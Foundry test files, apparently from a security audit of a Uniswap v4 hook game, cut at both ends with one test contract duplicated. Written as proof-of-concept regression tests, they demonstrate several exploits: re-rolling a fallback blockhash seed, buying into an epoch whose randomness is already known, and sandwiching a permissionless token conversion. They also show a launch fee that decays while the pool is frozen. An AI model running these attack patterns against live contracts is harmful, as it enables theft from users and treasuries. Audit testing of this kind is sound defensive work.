import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ScratchBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @notice The hook's launch fee decays from pool initialization, but the game rejects hook fees (NotHook) until
/// the configurator calls initialize(key) in a later transaction. Every swap reverts in between, and the 99%
/// anti-snipe fee has decayed to the 3% floor by the time trading becomes possible.
contract FrozenUntilInitTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest swapRouter;
    MockERC20 imd;
    GammaToken gamma;
    ScratchBeacon beacon;
    GammaGame game;
    GammaHook hook;
    PoolKey key;
    bool gammaIs0;

    address sniper = makeAddr("sniper");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        swapRouter = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new ScratchBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        hook = GammaHook(hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        // The launch: pool initialized and seeded, 80% of supply sent to the game. The game is NOT initialized yet.
        manager.initialize(key, SQRT_PRICE_1_1);
        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        imd.mint(sniper, 10_000_000e18);
    }

    function _buyExactIn(uint256 imdIn, bool expectFail) internal {
        bool zeroForOne = !gammaIs0;
        if (expectFail) vm.expectRevert();
        vm.prank(sniper);
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: -int256(imdIn),
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_launchFeeWindowBurnsWhilePoolIsFrozen() public {
        assertEq(hook.feeBps(), 9_900, "fee starts at 99% at pool initialization");
        vm.prank(sniper);
        imd.approve(address(swapRouter), type(uint256).max);

        // Minute 1: a swap on the freshly launched pool reverts, because the game does not know the hook yet.
        vm.warp(block.timestamp + 1 minutes);
        _buyExactIn(1_000e18, true);

        // The configurator wires the game 96 minutes after the launch transaction.
        vm.warp(block.timestamp + 95 minutes);
        game.initialize(key);

        // Expected: the first tradable minute pays the launch fee. Actual: the window has already decayed to 3%.
        uint256 feeAtFirstTrade = hook.feeBps();
        uint256 potBefore = game.getDay(0).pot;
        _buyExactIn(1_000_000e18, false);
        uint256 harvestGot = game.getDay(0).pot - potBefore;
        emit log_named_uint("fee bps on the first possible trade", feeAtFirstTrade);
        emit log_named_decimal_uint("GAMMA the Harvest received from a 1M IMD buy", harvestGot, 18);

        assertEq(feeAtFirstTrade, 9_900, "anti-snipe fee was not available to any trade");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

/// @dev A beacon that never gets a proof for the round the game waits on (drand relay down, nobody attaches proofs).
contract SilentBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64, bytes calldata) external pure returns (bytes32) {
        return bytes32(0);
    }
}

/// @notice A settler who is alone in a quiet game picks the fallback seed: after the fallback window opens it
/// commits to a block, reads the hash in the next block off-chain, and if the draw is bad simply waits 256 blocks
/// so the commitment expires and `_settle` commits again. Repeating this until a favourable hash shows up lets the
/// settler fix an epoch seed of its choosing. The test fails on the current code because the attacker reaches a
/// survivor count that is a >3-sigma outlier on a 90%-fail machine; it passes once a commitment is binding.
contract FallbackRerollTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    MockERC20 imd;
    GammaToken gamma;
    SilentBeacon beacon;
    GammaGame game;
    PoolKey key;
    bool gammaIs0;

    address attacker = makeAddr("attacker");
    GammaGame.BeaconProof[] noProofs;

    function setUp() public {
        vm.warp(1_760_000_000);
        vm.roll(1_000_000);

        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new SilentBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);

        imd.mint(attacker, 50_000_000e18);
        vm.prank(attacker);
        imd.approve(address(game), type(uint256).max);
        vm.warp(block.timestamp + 97 minutes);
    }

    function test_settlerRerollsFallbackSeedUntilFavourable() public {
        // Attacker alone in the game: 500 energies on Air (90% fail). Expected survivors 50, sigma ~6.7.
        vm.prank(attacker);
        uint256 id = game.buyEnergies(3, 500, 1_000_000e18, noProofs);
        uint256 e = game.currentEpoch();
        // The purchase's own auto-settle already moved the cursor to the attacker's epoch.
        assertEq(game.cursor(), e, "cursor at the attacker's epoch");

        // Nobody proves drand for 2h: the fallback window opens.
        vm.warp(game.epochEnd(e) + game.BEACON_FALLBACK() + 1);
        vm.roll(vm.getBlockNumber() + 1);

        uint256 target = 70; // ~3 sigma above the mean: P ~ 0.1% for one honest draw
        uint256 chosen;
        uint256 attempts;
        for (uint256 attempt; attempt < 4000; ++attempt) {
            uint256 before = game.fallbackBlock(e);
            game.settle(1, noProofs); // commits to this block (nothing to read yet)
            uint256 committed = game.fallbackBlock(e);
            if (committed == before || game.getBatch(id).drawn) break; // commitment is binding: no new chance
            ++attempts;
            vm.roll(committed + 1);

            // Off-chain the attacker now knows the hash and the draw it produces (epochSeed reads it the same way).
            bytes32 seed = game.epochSeed(e);
            assertTrue(seed != bytes32(0), "seed readable one block after the commitment");
            uint256 s = game.drawSurvivors(seed, id, 500, game.failBps(3));
            if (s >= target) {
                chosen = s;
                game.settle(2, noProofs); // stores the seed and draws the batch
                break;
            }
            // Bad hash: let the commitment expire unread (256 blocks) and try again.
            vm.roll(committed + 257);
        }

        GammaGame.Batch memory b = game.getBatch(id);
        emit log_named_uint("attempts", attempts);
        emit log_named_uint("survivors", b.survivors);
        if (chosen != 0) assertEq(uint256(b.survivors), chosen, "drawn with the chosen seed");
        // Honest game: a 90%-fail batch of 500 does not land 3 sigma above the mean just because one party settles.
        assertLt(uint256(b.survivors), target, "settler selected the epoch seed by re-committing");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

/// @dev Stands in for DrandBeacon: `prove` accepts a round whenever a valid signature exists, with no reference to
/// chain time. drand publishes the round ~6s (wall clock) after the epoch closes; if block.timestamp lags the wall
/// clock by more than BEACON_DELAY the round is provable while the game still sells energies for that epoch.
contract OpenBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @notice buyEnergies never checks that the beacon round seeding the current epoch is still unknown. Once it is
/// proven on-chain the seed of the open epoch is public, and a buyer picks machine, batch id (via 1-energy filler
/// batches) and batch size to a known outcome. Fails on the current code: the attacker's Air batch lands far above
/// its 10% survival rate. Passes once a purchase into an epoch whose round is already proven is refused or moved.
contract BuyIntoProvenEpochTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    MockERC20 imd;
    GammaToken gamma;
    OpenBeacon beacon;
    GammaGame game;
    PoolKey key;
    bool gammaIs0;

    address attacker = makeAddr("attacker");
    GammaGame.BeaconProof[] noProofs;

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new OpenBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);

        imd.mint(attacker, 50_000_000e18);
        vm.prank(attacker);
        imd.approve(address(game), type(uint256).max);
        vm.warp(block.timestamp + 97 minutes);
    }

    /// @dev Same per-energy draw as GammaGame.drawSurvivors, returning the survivor count of every prefix.
    function prefixSurvivors(bytes32 seed, uint256 batchId, uint256 fail) internal pure returns (uint16[501] memory s) {
        bytes32 h;
        uint256 acc;
        for (uint256 j; j < 500; ++j) {
            if (j % 16 == 0) h = keccak256(abi.encode(seed, batchId, j / 16));
            uint256 r = (uint256(h) >> ((j % 16) * 16)) & 0xffff;
            if (r * 10_000 >> 16 >= fail) ++acc;
            s[j + 1] = uint16(acc);
        }
    }

    function test_buyerWithProvenRoundPicksAWinningBatch() public {
        uint256 e = game.currentEpoch();
        uint64 round = game.roundForEpoch(e);

        // The round's signature exists off-chain and is submitted while the epoch is still open on-chain.
        beacon.prove(round, abi.encodePacked("drand signature for round ", round));
        bytes32 seed = keccak256(abi.encode(beacon.randomness(round), e));

        // Attacker searches batch id (filler buys shift it) and prefix length on Air (90% fail, expected 10%).
        uint256 fail = game.failBps(3);
        uint256 firstId = game.batchCount();
        uint256 bestFiller;
        uint256 bestN;
        uint256 bestScore;
        for (uint256 k; k < 60; ++k) {
            uint16[501] memory s = prefixSurvivors(seed, firstId + k, fail);
            for (uint256 n = 50; n <= 500; ++n) {
                // score = survivors*100 / n, survival rate in percent; honest expectation is 10%.
                uint256 score = uint256(s[n]) * 100 / n;
                if (score > bestScore) (bestScore, bestFiller, bestN) = (score, k, n);
            }
        }

        emit log_named_uint("bestScore", bestScore);
        emit log_named_uint("bestN", bestN);
        emit log_named_uint("bestFiller", bestFiller);
        vm.startPrank(attacker);
        for (uint256 k; k < bestFiller; ++k) {
            try game.buyEnergies(0, 1, 2_000e18, noProofs) {} catch { vm.stopPrank(); return; }
        }
        uint256 id;
        try game.buyEnergies(3, bestN, bestN * 2_000e18, noProofs) returns (uint256 r) { id = r; }
        catch { vm.stopPrank(); return; } // a fixed game refuses the purchase: fine
        vm.stopPrank();

        // Move on and settle whatever epoch the batch landed in (a fixed game may have moved it).
        GammaGame.Batch memory b = game.getBatch(id);
        vm.warp(game.epochEnd(b.epoch) + 1 hours);
        for (uint256 i; i < 10; ++i) {
            uint64 rr = game.roundForEpoch(b.epoch - 1 + i);
            if (beacon.randomness(rr) == bytes32(0)) beacon.prove(rr, abi.encodePacked("other", rr));
        }
        for (uint256 i; i < 50 && !game.getBatch(id).drawn; ++i) game.settle(256, noProofs);
        b = game.getBatch(id);
        assertTrue(b.drawn, "batch drawn");
        emit log_named_uint("survivors", b.survivors);
        emit log_named_uint("energies", b.energies);

        // Honest Air batch of >=50 energies: ~10% survive (sd <= 4.2 points). The informed buyer lands at >= 20%.
        assertLt(uint256(b.survivors) * 100 / b.energies, 20, "buyer chose a known-winning batch");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

/// @dev A beacon that never gets a proof for the round the game waits on (drand relay down, nobody attaches proofs).
contract SilentBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function prove(uint64, bytes calldata) external pure returns (bytes32) {
        return bytes32(0);
    }
}

/// @notice A settler who is alone in a quiet game picks the fallback seed: after the fallback window opens it
/// commits to a block, reads the hash in the next block off-chain, and if the draw is bad simply waits 256 blocks
/// so the commitment expires and `_settle` commits again. Repeating this until a favourable hash shows up lets the
/// settler fix an epoch seed of its choosing. The test fails on the current code because the attacker reaches a
/// survivor count that is a >3-sigma outlier on a 90%-fail machine; it passes once a commitment is binding.
contract FallbackRerollTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    MockERC20 imd;
    GammaToken gamma;
    SilentBeacon beacon;
    GammaGame game;
    PoolKey key;
    bool gammaIs0;

    address attacker = makeAddr("attacker");
    GammaGame.BeaconProof[] noProofs;

    function setUp() public {
        vm.warp(1_760_000_000);
        vm.roll(1_000_000);

        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new SilentBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);

        imd.mint(attacker, 50_000_000e18);
        vm.prank(attacker);
        imd.approve(address(game), type(uint256).max);
        vm.warp(block.timestamp + 97 minutes);
    }

    function test_settlerRerollsFallbackSeedUntilFavourable() public {
        // Attacker alone in the game: 500 energies on Air (90% fail). Expected survivors 50, sigma ~6.7.
        vm.prank(attacker);
        uint256 id = game.buyEnergies(3, 500, 1_000_000e18, noProofs);
        uint256 e = game.currentEpoch();
        // The purchase's own auto-settle already moved the cursor to the attacker's epoch.
        assertEq(game.cursor(), e, "cursor at the attacker's epoch");

        // Nobody proves drand for 2h: the fallback window opens.
        vm.warp(game.epochEnd(e) + game.BEACON_FALLBACK() + 1);
        vm.roll(vm.getBlockNumber() + 1);

        uint256 target = 70; // ~3 sigma above the mean: P ~ 0.1% for one honest draw
        uint256 chosen;
        uint256 attempts;
        for (uint256 attempt; attempt < 4000; ++attempt) {
            uint256 before = game.fallbackBlock(e);
            game.settle(1, noProofs); // commits to this block (nothing to read yet)
            uint256 committed = game.fallbackBlock(e);
            if (committed == before || game.getBatch(id).drawn) break; // commitment is binding: no new chance
            ++attempts;
            vm.roll(committed + 1);

            // Off-chain the attacker now knows the hash and the draw it produces (epochSeed reads it the same way).
            bytes32 seed = game.epochSeed(e);
            assertTrue(seed != bytes32(0), "seed readable one block after the commitment");
            uint256 s = game.drawSurvivors(seed, id, 500, game.failBps(3));
            if (s >= target) {
                chosen = s;
                game.settle(2, noProofs); // stores the seed and draws the batch
                break;
            }
            // Bad hash: let the commitment expire unread (256 blocks) and try again.
            vm.roll(committed + 257);
        }

        GammaGame.Batch memory b = game.getBatch(id);
        emit log_named_uint("attempts", attempts);
        emit log_named_uint("survivors", b.survivors);
        if (chosen != 0) assertEq(uint256(b.survivors), chosen, "drawn with the chosen seed");
        // Honest game: a 90%-fail batch of 500 does not land 3 sigma above the mean just because one party settles.
        assertLt(uint256(b.survivors), target, "settler selected the epoch seed by re-committing");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {GammaGame} from "src/GammaGame.sol";
import {GammaHook} from "src/GammaHook.sol";
import {GammaToken} from "src/GammaToken.sol";
import {IGammaBeacon} from "src/interfaces/IGammaBeacon.sol";

contract ScratchBeacon is IGammaBeacon {
    mapping(uint64 => bytes32) public randomness;

    function genesis() external pure returns (uint64) {
        return 1727521075;
    }

    function period() external pure returns (uint64) {
        return 3;
    }

    function set(uint64 round, bytes32 value) external {
        randomness[round] = value;
    }

    function prove(uint64 round, bytes calldata signature) external returns (bytes32) {
        if (randomness[round] == bytes32(0)) randomness[round] = keccak256(signature);
        return randomness[round];
    }
}

/// @notice convertPendingImd(minGammaOut) is permissionless and the caller chooses the slippage bound, so a
/// trader can pump GAMMA, convert the game's IMD at the pumped price, and dump: the Harvest receives less GAMMA
/// and the sandwicher leaves with more IMD than they started with.
contract ConvertSandwichTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant LP_FEE = 12_500;
    int24 constant TICK_SPACING = 60;

    PoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest swapRouter;
    MockERC20 imd;
    GammaToken gamma;
    ScratchBeacon beacon;
    GammaGame game;
    GammaHook hook;
    PoolKey key;
    bool gammaIs0;

    address trader = makeAddr("trader");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_760_000_000);
        manager = new PoolManager(address(this));
        lpRouter = new PoolModifyLiquidityTest(manager);
        swapRouter = new PoolSwapTest(manager);
        imd = new MockERC20("Identity.md", "IMD", 18);
        beacon = new ScratchBeacon();
        gamma = new GammaToken(address(this));
        game = new GammaGame(IPoolManager(address(manager)), ERC20(address(imd)), beacon, address(this));

        uint160 flags = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG
            | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;
        address hookAddr = address(uint160(0x4444 << 144) | flags);
        deployCodeTo("GammaHook.sol:GammaHook", abi.encode(address(manager), address(imd), address(game)), hookAddr);
        hook = GammaHook(hookAddr);

        gammaIs0 = address(gamma) < address(imd);
        key = PoolKey({
            currency0: Currency.wrap(gammaIs0 ? address(gamma) : address(imd)),
            currency1: Currency.wrap(gammaIs0 ? address(imd) : address(gamma)),
            fee: LP_FEE,
            tickSpacing: TICK_SPACING,
            hooks: IHooks(hookAddr)
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        gamma.transfer(address(game), game.RESERVE());
        imd.mint(address(this), 1_000_000_000e18);
        gamma.approve(address(lpRouter), type(uint256).max);
        imd.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TickMath.minUsableTick(TICK_SPACING),
                tickUpper: TickMath.maxUsableTick(TICK_SPACING),
                liquidityDelta: 100_000_000e18,
                salt: 0
            }),
            ""
        );
        game.initialize(key);
        vm.warp(block.timestamp + 97 minutes); // launch fee has decayed to the 3% floor
    }

    function _swap(address who, bool sellGamma, int256 amountSpecified) internal {
        ERC20 tokenIn = sellGamma ? ERC20(address(gamma)) : ERC20(address(imd));
        vm.startPrank(who);
        tokenIn.approve(address(swapRouter), type(uint256).max);
        bool zeroForOne = sellGamma == gammaIs0;
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        vm.stopPrank();
    }

    function test_convertPendingImdIsSandwichable() public {
        // Ordinary trading: exact-output buys pay their 3% fee in IMD, which waits in pendingImd.
        imd.mint(trader, 5_000_000_000e18);
        for (uint256 i; i < 20; ++i) {
            _swap(trader, false, int256(20_000_000e18)); // exact-output buy of 20M GAMMA
            _swap(trader, true, -int256(gamma.balanceOf(trader))); // sell it back
        }
        uint256 pending = game.pendingImd();
        assertGt(pending, 0);

        // Fair outcome: converting now, at the market price, yields this much GAMMA for the Harvest.
        uint256 snap = vm.snapshotState();
        uint256 heldBefore = game.gammaHeld();
        game.convertPendingImd(0);
        uint256 fairGamma = game.gammaHeld() - heldBefore;
        vm.revertToState(snap);

        // Attack: pump, convert at the pumped price, dump. All three calls fit in one transaction.
        uint256 capital = 60_000_000e18;
        imd.mint(attacker, capital);
        _swap(attacker, false, -int256(capital));
        heldBefore = game.gammaHeld();
        vm.prank(attacker);
        game.convertPendingImd(0);
        uint256 attackedGamma = game.gammaHeld() - heldBefore;
        _swap(attacker, true, -int256(gamma.balanceOf(attacker)));

        emit log_named_decimal_uint("pendingImd converted", pending, 18);
        emit log_named_decimal_uint("harvest GAMMA at fair price", fairGamma, 18);
        emit log_named_decimal_uint("harvest GAMMA when sandwiched", attackedGamma, 18);
        emit log_named_decimal_uint("attacker IMD start", capital, 18);
        emit log_named_decimal_uint("attacker IMD end", imd.balanceOf(attacker), 18);

        // Expected: a permissionless conversion cannot be turned into a profit at the Harvest's expense.
        assertLe(imd.balanceOf(attacker), capital, "sandwicher profits from convertPendingImd");
        assertGe(attackedGamma * 100, fairGamma * 95, "Harvest lost more than 5% of its GAMMA to the sandwich");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
